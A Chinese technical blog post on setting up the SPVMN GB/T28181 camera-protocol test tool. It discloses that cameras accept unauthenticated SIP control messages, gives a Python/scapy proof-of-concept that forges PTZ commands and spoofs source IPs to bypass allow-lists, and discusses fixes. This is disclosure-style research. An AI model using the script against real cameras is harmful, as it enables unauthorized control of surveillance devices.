Spvmn测试环境搭建及其安全性讨论
一、说明
这几天都在做设备的协议分析,然后看到有个叫Spvmn的不懂要怎么操作才能触发其操作过程,问了测试部的同事说也没有测试文档,自己研究了一下这里做个记录。
按我现在理解,各厂商有自己的私有协议、ONVIF是世界标准协议、GB/T28181是国标;Onvif Test Tool是ONVIF协议实现的测试工具,而SPVMN是GB/T28181协议实现的测试工具。
二、环境搭建
IPC:首先需要一台支持GB/T28181(或者说有Spvmn配置)的IPC,这个是必然的。
Windows电脑:看spvmn里边的文档说只支持Windows,Linux没试过。
JDK1.5:我使用JDK1.8该问页面一直报错,换成1.5才能成功访问。下载地址点链接。
报错:org.apache.jasper.JasperException: Unable to compile class for JSP

Spvmn工具下载地址:http://7dx.pc6.com/wwb5/SPVMN.zip
下载直接解压到自己想要的目录,该工具本质是一个tomcat,里边部署了一个用于测试的jsp应用。和正常tomcat一样到bin目录点击startup.bat启动即可。
不过要注意,该tomcat默认使用8080端口,然后又启了在5060开了一个监听,所以在启动前要注意确保本机的这两个端口没被占用。
tomcat启动完成后,访问后边的链接,如果一切正常页面应如下图:http://127.0.0.1:8080/SIPStandardDebug/

三、测试操作
3.1 配置IPC上线
使用Onvif Test Tool等工具,我们都是在Onvif Test Tool等工具输入IPC的用户名密码向IPC认证。但Spvmn反过来,是在IPC中输入Spvmn的“用户名密码”,IPC向Spvmn认证。
这认证逻辑存在问题,我们后边再说,这里主要是知道是这样子就可以了。
Spvmn的“用户名密码”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到这两个节区的信息

找到这些信息后,打开IPC上的Spvmn配置页面,把这些信息复制填到Spvmn页面对应的框中,然后保存启动即可。(Sip服务器就是装Spvmn的那台电脑)

此时回到Spvmn页面,依次点调测辅助面---链路管理,如无意外在弹出页面中即可看到IPC成功上线。


3.2 测试操作
第一步,点击“调测设备类型”选好要进行调测的设备,我们这里是IPC
第二步,在下面的各种操作通过点击选中自己要测试的命令,比如我这里点“向左”
第三步,点选好命令后在左下窗格中即会呈现该命令将会发送的主体报文,点击“发送消息”按钮,该命令即会向IPC发出返回结果呈现在右下窗格中。
当然协议实现除了看有消息返回外,更主要的还是要看IPC是否真的执行了相应的动作。比如我们这里发了“向左”命令,IPC是否真的有向左旋转。

四、Spvmn有可能沦为后门
4.1 原因分析
使用wireshark拦截数据包观察交互过程如下图。
IPC向Spvmn发起注册(REGISTER)请求,Spvmn回复未认证(Unauthorized),IPC通过Digest形式提交用户名密码,Spvmn回复认证成功。而后就都是Spvmn向IPC发送各种命令操控IPC(MESSAGE)。

正如我们向服务器认证,后续请求都得带session向服务器表明身份而服务器什么都不需要带一样;ipc向spvmn认证,那么后续请求上都是ipc向spvmn携带认证信息,而spvmn不会向ipc携带认证信息。(实际看来只有在上线注册时ipc向spvmn带了用户名密码,之后双方就都没带会话信息)
既然不需要认证信息的话,那是不是说,只要IPC开启spvmn,我伪装成spvmn服务器向ipc发命令ipc都会执行。而经过实验发现事实也是如此,测试代码如下可自行使用自己环境进行测试。
from scapy.all import * # 伪装成本地spvmn发包,这个其实没必要
local_ip = "10.10.6.91"
local_port = 5060
# 有些IPC限制只接收从spvmn页面配置的ip发来的命令,此时可以通过伪造IP绕过
cheat_ip = "10.10.6.92"
# 目标ipc ip和端口
# ipc_ip = "10.10.6.98"
ipc_ip = "10.20.23.150"
ipc_port = 5060
# 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop
command_flag = 3 # 让IPC向左旋转命令
def turn_left():
# 建立发送socket,和正常UDP数据包没区别
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大
def zoom_out():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
) send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy伪造源IP地址
def zoom_out_use_scapy():
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
)
udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message
send(udp_packet) # 让IPC停止所有动作命令
def stop():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0100000000B5</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__":
if command_flag == 1:
turn_left()
elif command_flag == 2:
zoom_out()
elif command_flag == 3:
zoom_out_use_scapy()
else:
stop()
4.2 修复讨论
方法一:
我们能不能在IPC端设定,只处理来自自身配置好的Spvmn的ip发来的命令?
答案是不能完全解决。实际发现有些厂商就做了ip限制,但因为使用的是UDP协议,IP完全是可以伪造的。
方法二:
在4.1的代码的请求中我们可以看到有一些应该是spvmn服务器的一些信息,我们可不可以在IPC端通过提取这些信息与spvmn配置页面中的进行比对一致才进行处理?
这应该是可以解决spvmn伪造的问题,但还存在的问题就是倘若spvmn服务器信息泄漏,那么IPC也会被控制;或者说此时spvmn的用户名密码也扮演了IPC用户名密码的角色,这增大了IPC的攻击面。另外在spvmn功能就类似操作系统的telnetd和sshd,攻击者侵入web后配置好spvmn就得到了一个天然的后门程序。
方法三:
4.1中我们说spvmn把认证方向搞反了,其实如果spvmn使用的是tcp而不是udp不用调整认证方向也能达到和方案二一样的效果。因为如果使用tcp那就是ipc随便选一个端口与spvmn服务器进行连接,该端口是ESTABLISHED状态而不是LISTENING状态,你新建一个进程试图与该端口建立连接该端口是不予理会的;而倘若是udp没有建立连接过程只能是监听状态,伪造的数据它也无法区分。但如果使用这种方法进行修复就不符合协议标准了,只是提一下。
参考:
https://blog.csdn.net/hiwubihe/article/details/82910685
Spvmn测试环境搭建及其安全性讨论的更多相关文章
- gb28181的SPVMN测试环境搭建以及设备端和服务器的具体实现
1.GB/T28181开发1之SPVMN(1.0.0.1)环境搭建 https://blog.csdn.net/hiwubihe/article/details/82910685 2.SPVMN 视频 ...
- https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题
一:什么是https SSL(Security Socket Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安 ...
- 【转】https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题
正需要这个,写的很好,就转过来了 转自: http://www.cnblogs.com/naniannayue/ 一:什么是https SSL(Security Socket Layer)全称 ...
- Linux测试环境搭建的学习建议
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux测试环境搭建的一些建议. 一.Linux测试环境搭建从基 ...
- 总结Selenium自动化测试方法(二)测试环境搭建
(接上期内容) 二.测试环境搭建 1.安装python 现在python3.0比python2.0多了一些改进的功能(详见http://zhidao.baidu.com/link?url=3sT1g7 ...
- 【转2】Appium 1.6.3 在Xcode 8 (真机)测试环境搭建 经验总结
Appium 1.6.3 在Xcode 8 (真机)测试环境搭建经验总结 关于 Appium 1.6.3 在Xcode 8, 1真机上环境搭建问题更多,写此文章,供大家参考,让大家少走弯路. 在开始i ...
- 【转1】Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结
Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结 关于 Appium 1.6.3 在Xcode 8, 10.2 的iOS模拟器上的问题很多,本人也差点放弃 ...
- Android测试环境搭建
Android测试环境搭建 一.操作系统 使用Win7_64位操作系统.(可以用其他的系统,下面都是针对Win7 64位进行操作) 二.安装JDK 运行jdk-6u45-windows-x64.exe ...
- USDT(omniCore)测试环境搭建
一.测试环境搭建. 注:由于window版本的omni出现同步不了的问题,推荐使用linux系统进行usdt测试链的搭建. 1.下载omnicore: wget https://bintray.com ...
随机推荐
- Numpy 和 Matplotlib库的学习笔记
Numpy介绍 一个用python实现的科学计算,包括:1.一个强大的N维数组对象Array:2.比较成熟的(广播)函数库:3.用于整合C/C++和Fortran代码的工具包:4.实用的线性代数.傅里 ...
- redis(一主两从三哨兵模式搭建)记录
转自:http://www.cnblogs.com/fly-piglet/p/9836314.html 目的: 让看看这篇文章的的人能够知道:软件架构.软件的安装.配置.基本运维的操作.高可用测试.也 ...
- 20190410Linux中磁盘管理及LVM(week2day1)
Linux磁盘管理及LVM讲解(week2_day2) 硬盘接口 从整体的角度上,硬盘接口分为IDE.SATA.SCSI和SAS四种,IDE接口硬盘多用于家用产品中,也部分应用于服务器,SCSI接 ...
- node离线版安装
1.下载 下载地址:https://nodejs.org/zh-cn/download/ 选择相应的版本下载 2.解压缩 将文件解压到要安装的位置,并新建两个目录 node-global :npm全局 ...
- Mask rcn nanchor部分理解
Anchors Mask 生成锚框本质与SSD一样中心点个数等于特征层像素数框体生成围绕中心点Bbox的坐标是要归一化到0~1之间的,都是相对于输入图片的大小.基本生成方式:H乘np.sqrt(anc ...
- mysql中利用show profile很直观的看到查询缓存的作用。
1.首先,开启mysql的查询缓存. 查看查询缓存情况: MariaDB [test]> show variables like '%query_cache%';+--------------- ...
- bzoj4710 [Jsoi2011]分特产(容斥)
4710: [Jsoi2011]分特产 Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 814 Solved: 527[Submit][Status] ...
- iperf详细使用方法
Iperf 是一个网络性能测试工具.Iperf可以测试TCP和UDP带宽质量.Iperf可以测量最大TCP带宽, 具有多种参数和UDP特性.Iperf可以报告带宽,延迟抖动和数据包丢失. Iperf ...
- Oracle基础体系浅析
不论是开发.管理.优化还是设计,对Oracle的基本原理的了解都是必不可少的,于是对自己最近关于Oracle的学习作出一点点的总结. 庖丁解牛之所以能做到"合于桑林之舞,乃中经首之会&quo ...
- 使用Java SDK实现离线签名
严格来说,tx-signer并不属于SDK,它是bytomd中构建交易.对交易签名两大模块的java实现版.因此,若想用tx-signer对交易进行离线签名,需要由你在本地保管好自己的私钥. 如果你的 ...